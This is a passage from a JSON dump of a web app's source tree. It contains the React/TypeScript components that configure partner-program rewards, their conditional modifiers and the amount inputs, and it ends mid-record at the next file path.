    "content": "import { Icon } from \"@dub/ui\";\n\nexport const RewardIconSquare = ({ icon: Icon }: { icon: Icon }) => (\n  <div className=\"flex size-7 shrink-0 items-center justify-center rounded-md bg-neutral-100\">\n    <Icon className=\"size-4 text-neutral-800\" />\n  </div>\n);\n"
  },
  {
    "path": "apps/web/ui/partners/rewards/reward-preview-card.tsx",
    "content": "import { EnrolledPartnerProps } from \"@/lib/types\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { Button, Table, useTable } from \"@dub/ui\";\nimport { cn, nFormatter, pluralize } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\nimport { useWatch } from \"react-hook-form\";\nimport { REWARD_EVENTS } from \"../constants\";\nimport { ProgramRewardDescription } from \"../program-reward-description\";\nimport {\n  getRewardPayload,\n  useAddEditRewardForm,\n} from \"./add-edit-reward-sheet\";\n\nexport function RewardPreviewCard() {\n  const { control } = useAddEditRewardForm();\n\n  const data = useWatch({ control });\n\n  let reward: ReturnType<typeof getRewardPayload> | null = null;\n  try {\n    reward = getRewardPayload({ data: data as any });\n  } catch (error) {\n    return null;\n  }\n\n  const Icon = REWARD_EVENTS[reward.event].icon;\n\n  return (\n    <div className=\"border-border-subtle bg-bg-muted rounded-xl border shadow-sm\">\n      <div className=\"px-4 py-2.5\">\n        <span className=\"text-content-emphasis flex items-center gap-2.5 text-sm font-semibold\">\n          Reward preview\n        </span>\n      </div>\n\n      <div className=\"border-border-subtle bg-bg-default -mx-px rounded-xl border-x border-t p-4\">\n        <div className=\"text-content-default flex items-center gap-2\">\n          <Icon className=\"size-4 shrink-0\" />\n          <span className=\"text-sm font-normal\">\n            <ProgramRewardDescription reward={reward} />\n          </span>\n        </div>\n      </div>\n    </div>\n  );\n}\n\nfunction PartnersCompactTable({\n  partners,\n  partnersCount,\n  groupId,\n}: {\n  partners?: EnrolledPartnerProps[];\n  partnersCount: number;\n  groupId: string;\n}) {\n  const { slug } = useParams<{ slug: string }>();\n\n  const { table, ...tableProps } = useTable({\n    data: partners || [],\n    columns: [\n      {\n        header: \"Partner\",\n        cell: ({ row }) => (\n          <div className=\"flex items-center gap-2\">\n            <PartnerAvatar partner={row.original} className=\"size-6\" />\n            <span className=\"truncate text-sm text-neutral-700\">\n              {row.original.name}\n            </span>\n          </div>\n        ),\n        size: 180,\n        minSize: 180,\n        maxSize: 180,\n      },\n      {\n        header: \"Email\",\n        cell: ({ row }) => (\n          <div className=\"truncate text-sm text-neutral-600\">\n            {row.original.email}\n          </div>\n        ),\n        size: 160,\n        minSize: 160,\n        maxSize: 160,\n      },\n    ],\n    thClassName: \"border-l-0\",\n    tdClassName: (columnId: string) =>\n      cn(\"border-l-0\", columnId !== \"menu\" && \"max-w-0 truncate\"),\n    resourceName: (p: boolean) => `partner${p ? \"s\" : \"\"}`,\n    rowCount: partners?.length || 0,\n  });\n\n  return (\n    <div className=\"relative\">\n      {partners?.length ? (\n        <>\n          <Table\n            {...tableProps}\n            table={table}\n            containerClassName=\"border\"\n            scrollWrapperClassName=\"overflow-x-hidden\"\n          />\n          {partnersCount > 10 && (\n            <div className=\"mt-2 flex justify-end\">\n              <Link\n                href={`/${slug}/program/partners?groupId=${groupId}`}\n                target=\"_blank\"\n              >\n                <Button\n                  type=\"button\"\n                  variant=\"secondary\"\n                  className=\"h-7 w-fit rounded-lg px-2.5\"\n                  text=\"View all\"\n                />\n              </Link>\n            </div>\n          )}\n        </>\n      ) : (\n        <div className=\"text-content-muted flex h-24 items-center justify-center text-sm\">\n          No partners found.\n        </div>\n      )}\n    </div>\n  );\n}\n\nfunction PartnerPreviewOrCount({\n  previewPartners,\n  partnersCount,\n  isExpanded,\n}: {\n  previewPartners: EnrolledPartnerProps[];\n  partnersCount: number;\n  isExpanded: boolean;\n}) {\n  const showAvatars = !isExpanded && partnersCount > 0;\n\n  return (\n    <span className=\"relative\">\n      <span\n        className={cn(\n          \"transition-[transform,opacity] duration-200\",\n          showAvatars && \"pointer-events-none -translate-y-0.5 opacity-0\",\n        )}\n      >\n        <strong className=\"font-semibold\">\n          {nFormatter(partnersCount, { full: true })}\n        </strong>{\" \"}\n        {partnersCount && pluralize(\"partner\", partnersCount)}\n      </span>\n\n      <span\n        className={cn(\n          \"absolute left-2 top-1/2 inline-flex min-w-full -translate-y-1/2 items-center align-text-top transition-[transform,opacity] duration-200\",\n          !showAvatars && \"pointer-events-none translate-y-0.5 opacity-0\",\n        )}\n      >\n        {previewPartners.map((partner) => (\n          <PartnerAvatar\n            key={partner.id}\n            partner={partner}\n            className=\"-ml-1.5 size-[1.125rem] border border-white\"\n          />\n        ))}\n        {partnersCount > 3 && (\n          <span className=\"text-content-subtle ml-1 text-xs\">\n            +{nFormatter(partnersCount - 3, { full: true })}\n          </span>\n        )}\n      </span>\n    </span>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/rewards/rewards-logic.tsx",
    "content": "\"use client\";\n\nimport { constructRewardAmount } from \"@/lib/api/sales/construct-reward-amount\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { REFERRAL_ENABLED_PROGRAM_IDS } from \"@/lib/referrals/constants\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { RECURRING_MAX_DURATIONS } from \"@/lib/zod/schemas/misc\";\nimport {\n  CONDITION_OPERATOR_LABELS,\n  CONDITION_OPERATORS,\n  DATE_CONDITION_OPERATORS,\n  ENUM_CONDITION_OPERATORS,\n  NUMBER_CONDITION_OPERATORS,\n  REWARD_CONDITIONS,\n  RewardConditionEntityAttribute,\n  STRING_CONDITION_OPERATORS,\n} from \"@/lib/zod/schemas/rewards\";\nimport { X } from \"@/ui/shared/icons\";\nimport { RewardStructure } from \"@dub/prisma/client\";\nimport {\n  ArrowTurnRight2,\n  Button,\n  Check2,\n  ChevronRight,\n  DatePicker,\n  InvoiceDollar,\n  MoneyBills2,\n  Popover,\n  User,\n  Users,\n} from \"@dub/ui\";\nimport {\n  capitalize,\n  cn,\n  COUNTRIES,\n  currencyFormatter,\n  formatDate,\n  pluralize,\n  truncate,\n} from \"@dub/utils\";\nimport { Command } from \"cmdk\";\nimport { Package } from \"lucide-react\";\nimport { motion } from \"motion/react\";\nimport { Fragment, useEffect, useState } from \"react\";\nimport { useFieldArray, useWatch } from \"react-hook-form\";\nimport { v4 as uuid } from \"uuid\";\nimport {\n  InlineBadgePopover,\n  InlineBadgePopoverAmountInput,\n  InlineBadgePopoverInput,\n  InlineBadgePopoverInputs,\n  InlineBadgePopoverMenu,\n} from \"../../shared/inline-badge-popover\";\nimport { useAddEditRewardForm } from \"./add-edit-reward-sheet\";\nimport { RewardIconSquare } from \"./reward-icon-square\";\n\nexport const REWARD_TYPES = [\n  {\n    text: \"Flat\",\n    value: \"flat\",\n  },\n  {\n    text: \"Percentage\",\n    value: \"percentage\",\n  },\n];\n\nexport function RewardsLogic({\n  isDefaultReward,\n}: {\n  isDefaultReward: boolean;\n}) {\n  const { plan } = useWorkspace();\n\n  const { control, getValues } = useAddEditRewardForm();\n\n  const {\n    fields: modifierFields,\n    append: appendModifier,\n    remove: removeModifier,\n  } = useFieldArray({\n    control,\n    name: \"modifiers\",\n  });\n\n  return (\n    <div\n      className={cn(\"flex flex-col gap-2\", !!modifierFields.length && \"-mt-2\")}\n    >\n      {modifierFields.map((field, index) => (\n        <ConditionalGroup\n          key={field.id}\n          index={index}\n          groupCount={modifierFields.length}\n          onRemove={() => removeModifier(index)}\n        />\n      ))}\n      <Button\n        className=\"h-8 rounded-lg\"\n        icon={<ArrowTurnRight2 className=\"size-4\" />}\n        text={\n          <div className=\"flex items-center gap-2\">\n            <span>Add condition</span>\n            {!getPlanCapabilities(plan).canUseAdvancedRewardLogic && (\n              <div\n                className={cn(\n                  \"rounded-sm px-1.5 py-1 text-[0.625rem] uppercase leading-none\",\n                  isDefaultReward\n                    ? \"bg-violet-500/50 text-violet-200\"\n                    : \"bg-violet-50 text-violet-600\",\n                )}\n              >\n                Upgrade required\n              </div>\n            )}\n          </div>\n        }\n        onClick={() => {\n          const type = getValues(\"type\");\n\n          appendModifier({\n            id: uuid(),\n            operator: \"AND\",\n            conditions: [{}],\n            amountInCents:\n              type === \"flat\" ? getValues(\"amountInCents\") || 0 : undefined,\n            amountInPercentage:\n              type === \"percentage\"\n                ? getValues(\"amountInPercentage\") || 0\n                : undefined,\n            type,\n            maxDuration: getValues(\"maxDuration\"),\n          });\n        }}\n        variant={isDefaultReward ? \"primary\" : \"secondary\"}\n      />\n    </div>\n  );\n}\n\nfunction ConditionalGroup({\n  index,\n  groupCount,\n  onRemove,\n}: {\n  index: number;\n  groupCount: number;\n  onRemove: () => void;\n}) {\n  const { control } = useAddEditRewardForm();\n  const {\n    fields: conditions,\n    append: appendCondition,\n    remove: removeCondition,\n  } = useFieldArray({\n    control,\n    name: `modifiers.${index}.conditions`,\n  });\n\n  return (\n    <div>\n      <div className=\"flex items-center justify-between py-2 pl-2\">\n        <div className=\"flex items-center gap-1.5 text-neutral-800\">\n          <ArrowTurnRight2 className=\"size-3 shrink-0\" />\n          <span className=\"text-sm font-medium\">\n            {index === 0 ? \"Reward condition\" : \"Additional condition\"}\n          </span>\n        </div>\n        <div className=\"flex items-center gap-1\">\n          {groupCount > 1 && (\n            <div className=\"text-content-default flex h-5 items-center rounded-md bg-neutral-200 px-2 text-xs font-medium\">\n              #{index + 1}\n            </div>\n          )}\n          <Button\n            variant=\"outline\"\n            className=\"h-6 w-fit px-1\"\n            icon={<X className=\"size-4\" />}\n            onClick={onRemove}\n          />\n        </div>\n      </div>\n\n      <div className=\"border-border-subtle rounded-lg border bg-white p-2.5\">\n        {conditions.map((condition, conditionIndex) => (\n          <Fragment key={condition.id}>\n            <div className=\"border-border-subtle rounded-md border bg-white\">\n              <ConditionLogic\n                modifierIndex={index}\n                conditionIndex={conditionIndex}\n                onRemove={\n                  conditions.length > 1\n                    ? () => removeCondition(conditionIndex)\n                    : undefined\n                }\n              />\n            </div>\n            <VerticalLine />\n          </Fragment>\n        ))}\n        <div className=\"flex items-center justify-between gap-2\">\n          <OperatorDropdown modifierIndex={index} />\n          <Button\n            variant=\"secondary\"\n            className=\"h-7 w-fit px-3 font-medium\"\n            text=\"Add criteria\"\n            onClick={() => appendCondition({})}\n          />\n        </div>\n        <VerticalLine />\n        <div className=\"border-border-subtle flex items-center gap-2.5 rounded-md border bg-white p-2.5\">\n          <RewardIconSquare icon={MoneyBills2} />\n          <ResultTerms modifierIndex={index} />\n        </div>\n      </div>\n    </div>\n  );\n}\n\nconst formatValue = (\n  value: string | number | string[] | number[] | undefined,\n  attribute?: Pick<RewardConditionEntityAttribute, \"type\" | \"options\">,\n) => {\n  const type = attribute?.type ?? \"string\";\n\n  if (\n    [\"number\", \"currency\"].includes(type)\n      ? value === \"\" || isNaN(Number(value))\n      : !value\n  )\n    return \"Value\";\n\n  if (Array.isArray(value)) {\n    if (!value.filter(Boolean).length) return \"Value\";\n\n    const filtered = value.filter(Boolean);\n\n    return (\n      filtered\n        .map((v) =>\n          truncate(\n            attribute?.options\n              ? attribute.options.find((o) => o.id === v)?.label ?? v.toString()\n              : v.toString(),\n            16,\n          ),\n        )\n        .slice(0, 2)\n        .join(\", \") + (filtered.length > 2 ? ` +${filtered.length - 2}` : \"\")\n    );\n  }\n\n  // Return matching option label\n  if (attribute?.options) {\n    const option = attribute.options.find((o) => o.id === value);\n    if (option) return option.label;\n  }\n\n  // For date values, format timestamp as readable date + time\n  if (type === \"date\") {\n    if (!value || isNaN(Number(value))) {\n      return \"Value\";\n    }\n\n    return formatDate(new Date(Number(value)));\n  }\n\n  // For numeric values, show the number as is\n  if ([\"number\", \"currency\"].includes(type)) {\n    return type === \"number\"\n      ? value!.toString()\n      : // value is represented in dollars, so need to convert to cents (because currencyFormatter expects cents)\n        currencyFormatter(Number(value) * 100, {\n          trailingZeroDisplay: \"stripIfInteger\",\n        });\n  }\n\n  return truncate(value!.toString(), 20);\n};\n\nfunction ConditionLogic({\n  modifierIndex,\n  conditionIndex,\n  onRemove,\n}: {\n  modifierIndex: number;\n  conditionIndex: number;\n  onRemove?: () => void;\n}) {\n  const { program } = useProgram();\n  const modifierKey = `modifiers.${modifierIndex}` as const;\n  const conditionKey = `${modifierKey}.conditions.${conditionIndex}` as const;\n\n  const { control, setValue, register } = useAddEditRewardForm();\n  const [event, condition, operator] = useWatch({\n    control,\n    name: [\"event\", conditionKey, `${modifierKey}.operator`],\n  });\n\n  const entities = REWARD_CONDITIONS[event].entities;\n  const entity = condition.entity\n    ? entities.find((e) => e.id === condition.entity)\n    : undefined;\n\n  const attribute =\n    entity && condition.attribute\n      ? entity.attributes.find((a) => a.id === condition.attribute)\n      : undefined;\n\n  const attributeType = attribute?.type ?? \"string\";\n\n  const icon = entity\n    ? { customer: User, sale: InvoiceDollar, partner: Users }[entity.id] ?? User\n    : ArrowTurnRight2;\n\n  const isArrayValue =\n    condition.operator && [\"in\", \"not_in\"].includes(condition.operator);\n\n  const [displayProductLabel, setDisplayProductLabel] = useState(false);\n\n  // Auto-set operator to \"equals_to\" for customer.source\n  const isCustomerSourceCondition =\n    condition.entity === \"customer\" && condition.attribute === \"source\";\n\n  useEffect(() => {\n    if (isCustomerSourceCondition && condition.operator !== \"equals_to\") {\n      setValue(\n        conditionKey,\n        {\n          ...condition,\n          operator: \"equals_to\",\n        },\n        {\n          shouldDirty: true,\n        },\n      );\n    }\n  }, [\n    isCustomerSourceCondition,\n    condition.operator,\n    condition,\n    conditionKey,\n    setValue,\n  ]);\n\n  return (\n    <div className=\"flex w-full flex-col\">\n      <div className=\"flex items-center justify-between p-2.5\">\n        <div className=\"flex items-center gap-1.5\">\n          <RewardIconSquare icon={icon} />\n          <span className=\"text-content-emphasis font-medium leading-relaxed\">\n            {conditionIndex === 0 ? \"If\" : capitalize(operator.toLowerCase())}{\" \"}\n            <InlineBadgePopover\n              text={capitalize(condition.entity) || \"Select item\"}\n              invalid={!condition.entity}\n            >\n              <InlineBadgePopoverMenu\n                selectedValue={condition.entity}\n                onSelect={(value) =>\n                  setValue(\n                    conditionKey,\n                    {\n                      entity: value,\n                      // Clear dependent fields when entity changes\n                      attribute: undefined,\n                      operator: undefined,\n                      value: undefined,\n                    },\n                    {\n                      shouldDirty: true,\n                    },\n                  )\n                }\n                items={entities.map((entity) => ({\n                  text: entity.label,\n                  value: entity.id,\n                }))}\n              />\n            </InlineBadgePopover>{\" \"}\n            {entity && (\n              <>\n                <InlineBadgePopover\n                  text={\n                    condition.attribute\n                      ? entity.attributes.find(\n                          (a) => a.id === condition.attribute,\n                        )?.label || capitalize(condition.attribute)\n                      : \"Detail\"\n                  }\n                  invalid={!condition.attribute}\n                >\n                  <InlineBadgePopoverMenu\n                    selectedValue={condition.attribute}\n                    onSelect={(value) =>\n                      setValue(\n                        conditionKey,\n                        {\n                          entity: condition.entity,\n                          attribute: value,\n                        },\n                        {\n                          shouldDirty: true,\n                        },\n                      )\n                    }\n                    items={entity.attributes\n                      .filter(\n                        (attribute) =>\n                          attribute.id !== \"source\" ||\n                          (program &&\n                            REFERRAL_ENABLED_PROGRAM_IDS.includes(program.id)),\n                      )\n                      .map((attribute) => ({\n                        text: attribute.label,\n                        value: attribute.id,\n                      }))}\n                  />\n                </InlineBadgePopover>{\" \"}\n                {isCustomerSourceCondition ? (\n                  <span className=\"text-content-emphasis font-medium\">is </span>\n                ) : (\n                  <InlineBadgePopover\n                    text={\n                      condition.operator\n                        ? CONDITION_OPERATOR_LABELS[condition.operator]\n                        : \"Condition\"\n                    }\n                    invalid={!condition.operator}\n                  >\n                    <InlineBadgePopoverMenu\n                      selectedValue={condition.operator}\n                      onSelect={(value) =>\n                        setValue(\n                          conditionKey,\n                          {\n                            ...condition,\n                            operator:\n                              value as (typeof CONDITION_OPERATORS)[number],\n                            // Update value to array / string / number if needed\n                            ...([\"in\", \"not_in\"].includes(value)\n                              ? !Array.isArray(condition.value)\n                                ? { value: [] }\n                                : null\n                              : [\"number\", \"currency\"].includes(attributeType)\n                                ? typeof condition.value !== \"number\"\n                                  ? { value: \"\" }\n                                  : null\n                                : attributeType === \"date\"\n                                  ? typeof condition.value !== \"number\"\n                                    ? { value: undefined }\n                                    : null\n                                  : typeof condition.value !== \"string\"\n                                    ? { value: \"\" }\n                                    : null),\n                          },\n                          {\n                            shouldDirty: true,\n                          },\n                        )\n                      }\n                      items={([\"number\", \"currency\"].includes(attributeType)\n                        ? NUMBER_CONDITION_OPERATORS\n                        : attributeType === \"enum\"\n                          ? ENUM_CONDITION_OPERATORS\n                          : attributeType === \"date\"\n                            ? DATE_CONDITION_OPERATORS\n                            : STRING_CONDITION_OPERATORS\n                      ).map((operator) => ({\n                        text: CONDITION_OPERATOR_LABELS[operator],\n                        value: operator,\n                      }))}\n                    />\n                  </InlineBadgePopover>\n                )}{\" \"}\n                {condition.operator && (\n                  <>\n                    {attributeType === \"date\" ? (\n                      <DatePicker\n                        value={\n                          condition.value\n                            ? new Date(condition.value as number)\n                            : undefined\n                        }\n                        onChange={(date) =>\n                          setValue(conditionKey, {\n                            ...condition,\n                            value: date ? date.getTime() : undefined,\n                          })\n                        }\n                        placeholder={condition.label || \"Select date\"}\n                        invalid={!condition.value}\n                        trigger={({ displayValue, placeholder, invalid }) => (\n                          <button\n                            type=\"button\"\n                            className={cn(\n                              \"inline-block rounded px-1.5 text-left text-sm font-semibold transition-colors\",\n                              invalid\n                                ? \"bg-orange-50 text-orange-500 hover:bg-orange-100 data-[state=open]:bg-orange-100\"\n                                : \"bg-blue-50 text-blue-700 hover:bg-blue-100 data-[state=open]:bg-blue-100\",\n                            )}\n                          >\n                            {displayValue ?? placeholder}\n                          </button>\n                        )}\n                        showYearNavigation\n                      />\n                    ) : (\n                      <InlineBadgePopover\n                        text={formatValue(condition.value, attribute)}\n                        invalid={\n                          Array.isArray(condition.value)\n                            ? condition.value.filter(Boolean).length === 0\n                            : [\"number\", \"currency\"].includes(attributeType)\n                              ? condition.value === \"\" ||\n                                isNaN(Number(condition.value))\n                              : !condition.value\n                        }\n                        buttonClassName={cn(\n                          condition.attribute === \"productId\" &&\n                            \"rounded-r-none\",\n                        )}\n                      >\n                        {/* Country selection */}\n                        {condition.attribute === \"country\" ? (\n                          // Country selector\n                          <InlineBadgePopoverMenu\n                            search\n                            selectedValue={\n                              (condition.value as string[] | undefined) ??\n                              (isArrayValue ? [] : undefined)\n                            }\n                            items={Object.entries(COUNTRIES).map(\n                              ([key, name]) => ({\n                                text: name,\n                                value: key,\n                                icon: (\n                                  <img\n                                    alt={`${key} flag`}\n                                    src={`https://hatscripts.github.io/circle-flags/flags/${key.toLowerCase()}.svg`}\n                                    className=\"size-3 shrink-0\"\n                                  />\n                                ),\n                              }),\n                            )}\n                            onSelect={(value) => {\n                              setValue(conditionKey, {\n                                ...condition,\n                                value: isArrayValue\n                                  ? Array.isArray(condition.value)\n                                    ? (condition.value as string[]).includes(\n                                        value,\n                                      )\n                                      ? (condition.value.filter(\n                                          (v) => v !== value,\n                                        ) as string[])\n                                      : ([\n                                          ...condition.value,\n                                          value,\n                                        ] as string[])\n                                    : [value]\n                                  : value,\n                              });\n                            }}\n                          />\n                        ) : attribute?.options ? (\n                          // Select option selector\n                          <InlineBadgePopoverMenu\n                            search={attribute.options.length > 4}\n                            selectedValue={\n                              (condition.value as string[] | undefined) ??\n                              (isArrayValue ? [] : undefined)\n                            }\n                            items={attribute.options.map(({ id, label }) => ({\n                              text: label,\n                              value: id,\n                            }))}\n                            onSelect={(value) => {\n                              setValue(conditionKey, {\n                                ...condition,\n                                value: isArrayValue\n                                  ? Array.isArray(condition.value)\n                                    ? (condition.value as string[]).includes(\n                                        value,\n                                      )\n                                      ? (condition.value.filter(\n                                          (v) => v !== value,\n                                        ) as string[])\n                                      : ([\n                                          ...condition.value,\n                                          value,\n                                        ] as string[])\n                                    : [value]\n                                  : value,\n                              });\n                            }}\n                          />\n                        ) : isArrayValue ? (\n                          // String array input\n                          <InlineBadgePopoverInputs\n                            values={\n                              condition.value\n                                ? Array.isArray(condition.value)\n                                  ? condition.value.map(String)\n                                  : [condition.value.toString()]\n                                : [\"\"]\n                            }\n                            onChange={(values) => {\n                              setValue(conditionKey, {\n                                ...condition,\n                                value: values,\n                              });\n                            }}\n                          />\n                        ) : [\"number\", \"currency\"].includes(attributeType) ? (\n                          // Number/currency input\n                          <AmountInput\n                            fieldKey={`${conditionKey}.value`}\n                            type={attributeType as \"number\" | \"currency\"}\n                          />\n                        ) : (\n                          // String input\n                          <InlineBadgePopoverInput\n                            {...register(`${conditionKey}.value`, {\n                              required: true,\n                            })}\n                          />\n                        )}\n                      </InlineBadgePopover>\n                    )}\n\n                    {condition.attribute === \"subscriptionDurationMonths\" && (\n                      <span> months</span>\n                    )}\n\n                    {condition.attribute === \"productId\" && condition.value && (\n                      <button\n                        type=\"button\"\n                        className=\"ml-0.5 inline-flex h-5 items-center justify-center rounded rounded-l-none bg-blue-50 px-1.5 hover:bg-blue-100\"\n                        onClick={() =>\n                          setDisplayProductLabel(!displayProductLabel)\n                        }\n                      >\n                        <ChevronRight\n                          className={cn(\n                            \"size-2.5 shrink-0 text-blue-500 transition-transform duration-200 [&_*]:stroke-2\",\n                            displayProductLabel ? \"rotate-90\" : \"\",\n                          )}\n                        />\n                      </button>\n                    )}\n                  </>\n                )}\n              </>\n            )}\n          </span>\n        </div>\n        {onRemove && (\n          <Button\n            variant=\"outline\"\n            className=\"h-6 w-fit px-1\"\n            icon={<X className=\"size-4\" />}\n            onClick={onRemove}\n          />\n        )}\n      </div>\n\n      {/* Product name input - only show for sale productId conditions with a value */}\n      {condition.entity === \"sale\" &&\n        condition.attribute === \"productId\" &&\n        condition.value && (\n          <motion.div\n            transition={{ ease: \"easeInOut\", duration: 0.2 }}\n            initial={false}\n            animate={{\n              height: displayProductLabel ? \"auto\" : 0,\n              opacity: displayProductLabel ? 1 : 0,\n            }}\n            className=\"overflow-hidden\"\n          >\n            <div className=\"border-border-subtle flex items-center gap-1.5 border-t p-2.5\">\n              <RewardIconSquare icon={Package} />\n              <span className=\"text-content-emphasis font-medium leading-relaxed\">\n                Shown as{\" \"}\n                <InlineBadgePopover\n                  text={condition.label || \"Product name\"}\n                  invalid={!condition.label}\n                >\n                  {displayProductLabel && (\n                    <InlineBadgePopoverInput\n                      {...register(`${conditionKey}.label`)}\n                    />\n                  )}\n                </InlineBadgePopover>\n              </span>\n            </div>\n          </motion.div>\n        )}\n    </div>\n  );\n}\n\nfunction OperatorDropdown({ modifierIndex }: { modifierIndex: number }) {\n  const { control, setValue } = useAddEditRewardForm();\n  const currentValue = useWatch({\n    control,\n    name: `modifiers.${modifierIndex}.operator`,\n  });\n\n  const [isOpen, setIsOpen] = useState(false);\n\n  return (\n    <Popover\n      openPopover={isOpen}\n      setOpenPopover={setIsOpen}\n      align=\"start\"\n      content={\n        <div className=\"min-w-24 p-0.5\">\n          <Command loop className=\"focus:outline-none\">\n            <Command.List>\n              {([\"AND\", \"OR\"] as const).map((value) => (\n                <Command.Item\n                  key={value}\n                  onSelect={() => {\n                    setValue(`modifiers.${modifierIndex}.operator`, value, {\n                      shouldDirty: true,\n                    });\n                    setIsOpen(false);\n                  }}\n                  className=\"flex cursor-pointer items-center justify-between rounded-md px-1.5 py-1 transition-colors duration-150 hover:bg-neutral-100\"\n                >\n                  <span className=\"text-content-default pr-3 text-left text-sm font-medium\">\n                    {value}\n                  </span>\n                  {currentValue === value && (\n                    <Check2 className=\"text-content-emphasis size-3.5 shrink-0\" />\n                  )}\n                </Command.Item>\n              ))}\n            </Command.List>\n          </Command>\n        </div>\n      }\n    >\n      <button\n        type=\"button\"\n        className=\"border-border-subtle text-content-emphasis group flex h-7 items-center gap-1.5 rounded-md border bg-white px-2.5 font-medium transition-colors duration-150 hover:bg-neutral-50\"\n      >\n        <div className=\"flex items-center gap-1.5\">\n          <span>{currentValue}</span>\n          <ChevronRight className=\"text-content-subtle size-2.5 shrink-0 rotate-90 [&_*]:stroke-2\" />\n        </div>\n      </button>\n    </Popover>\n  );\n}\n\nfunction ResultTerms({ modifierIndex }: { modifierIndex: number }) {\n  const modifierKey = `modifiers.${modifierIndex}` as const;\n\n  const { control, setValue } = useAddEditRewardForm();\n  const [\n    amountInCents,\n    amountInPercentage,\n    type,\n    maxDuration,\n    event,\n    parentType,\n    parentMaxDuration,\n  ] = useWatch({\n    control,\n    name: [\n      `${modifierKey}.amountInCents`,\n      `${modifierKey}.amountInPercentage`,\n      `${modifierKey}.type`,\n      `${modifierKey}.maxDuration`,\n      \"event\",\n      \"type\",\n      \"maxDuration\",\n    ],\n  });\n\n  // Use parent values as fallbacks if modifier doesn't have type or maxDuration\n  const displayType = type || parentType;\n  const displayMaxDuration =\n    maxDuration !== undefined ? maxDuration : parentMaxDuration;\n\n  const amount = displayType === \"flat\" ? amountInCents : amountInPercentage;\n\n  return (\n    <span className=\"leading-relaxed\">\n      Then pay{\" \"}\n      {event === \"sale\" && (\n        <>\n          a{\" \"}\n          <InlineBadgePopover text={capitalize(displayType)}>\n            <InlineBadgePopoverMenu\n              selectedValue={type}\n              onSelect={(value) =>\n                setValue(`${modifierKey}.type`, value as RewardStructure, {\n                  shouldDirty: true,\n                })\n              }\n              items={REWARD_TYPES}\n            />\n          </InlineBadgePopover>{\" \"}\n          {displayType === \"percentage\" && \"of \"}\n        </>\n      )}\n      <InlineBadgePopover\n        text={\n          amount != null && !isNaN(amount)\n            ? constructRewardAmount({\n                type: displayType,\n                amountInCents:\n                  displayType === \"flat\" ? amount * 100 : undefined,\n                amountInPercentage:\n                  displayType === \"percentage\" ? amount : undefined,\n                maxDuration: displayMaxDuration,\n              })\n            : \"amount\"\n        }\n        invalid={amount == null || isNaN(amount)}\n      >\n        <ResultAmountInput modifierKey={modifierKey} />\n      </InlineBadgePopover>{\" \"}\n      per {event}\n      {event === \"sale\" && (\n        <>\n          {\" \"}\n          <InlineBadgePopover\n            text={\n              displayMaxDuration === 0\n                ? \"one time\"\n                : displayMaxDuration === Infinity\n                  ? \"for the customer's lifetime\"\n                  : `for ${displayMaxDuration} ${pluralize(\"month\", Number(displayMaxDuration))}`\n            }\n          >\n            <InlineBadgePopoverMenu\n              selectedValue={\n                displayMaxDuration === Infinity\n                  ? \"Infinity\"\n                  : displayMaxDuration?.toString()\n              }\n              onSelect={(value) =>\n                setValue(\n                  `${modifierKey}.maxDuration`,\n                  value === \"Infinity\" ? Infinity : Number(value),\n                  {\n                    shouldDirty: true,\n                  },\n                )\n              }\n              items={[\n                {\n                  text: \"one time\",\n                  value: \"0\",\n                },\n                ...RECURRING_MAX_DURATIONS.filter(\n                  (v) => v !== 0 && v !== 1, // filter out one-time and 1-month intervals (we only use 1-month for discounts)\n                ).map((v) => ({\n                  text: `for ${v} ${pluralize(\"month\", Number(v))}`,\n                  value: v.toString(),\n                })),\n                {\n                  text: \"for the customer's lifetime\",\n                  value: \"Infinity\",\n                },\n              ]}\n            />\n          </InlineBadgePopover>\n        </>\n      )}\n    </span>\n  );\n}\n\nfunction ResultAmountInput({\n  modifierKey,\n}: {\n  modifierKey: `modifiers.${number}`;\n}) {\n  const { watch, setValue } = useAddEditRewardForm();\n\n  const type = watch(`${modifierKey}.type`);\n  const parentType = watch(\"type\");\n\n  const displayType = type || parentType;\n\n  // Set the modifier type to parent type if it's undefined (backward compatibility)\n  useEffect(() => {\n    if (type === undefined && parentType) {\n      setValue(`${modifierKey}.type`, parentType, { shouldDirty: true });\n    }\n  }, [type, parentType, setValue, modifierKey]);\n\n  const fieldKey =\n    displayType === \"flat\"\n      ? (`${modifierKey}.amountInCents` as const)\n      : (`${modifierKey}.amountInPercentage` as const);\n\n  return (\n    <AmountInput\n      fieldKey={fieldKey}\n      type={displayType === \"flat\" ? \"currency\" : \"percentage\"}\n    />\n  );\n}\n\nfunction AmountInput({\n  fieldKey,\n  type,\n}: {\n  fieldKey:\n    | `modifiers.${number}.amountInCents`\n    | `modifiers.${number}.amountInPercentage`\n    | `modifiers.${number}.conditions.${number}.value`;\n  type: \"currency\" | \"percentage\" | \"number\";\n}) {\n  const { register } = useAddEditRewardForm();\n\n  return (\n    <InlineBadgePopoverAmountInput\n      type={type}\n      {...register(fieldKey, {\n        required: true,\n        setValueAs: (value: string) => (value === \"\" ? undefined : +value),\n        min: 0,\n        max: type === \"percentage\" ? 100 : undefined,\n      })}\n    />\n  );\n}\n\nconst VerticalLine = () => (\n  <div className=\"bg-border-subtle ml-6 h-4 w-px shrink-0\" />\n);\n"
  },
  {
    "path": "apps/web/ui/partners/rewind/constants.ts",
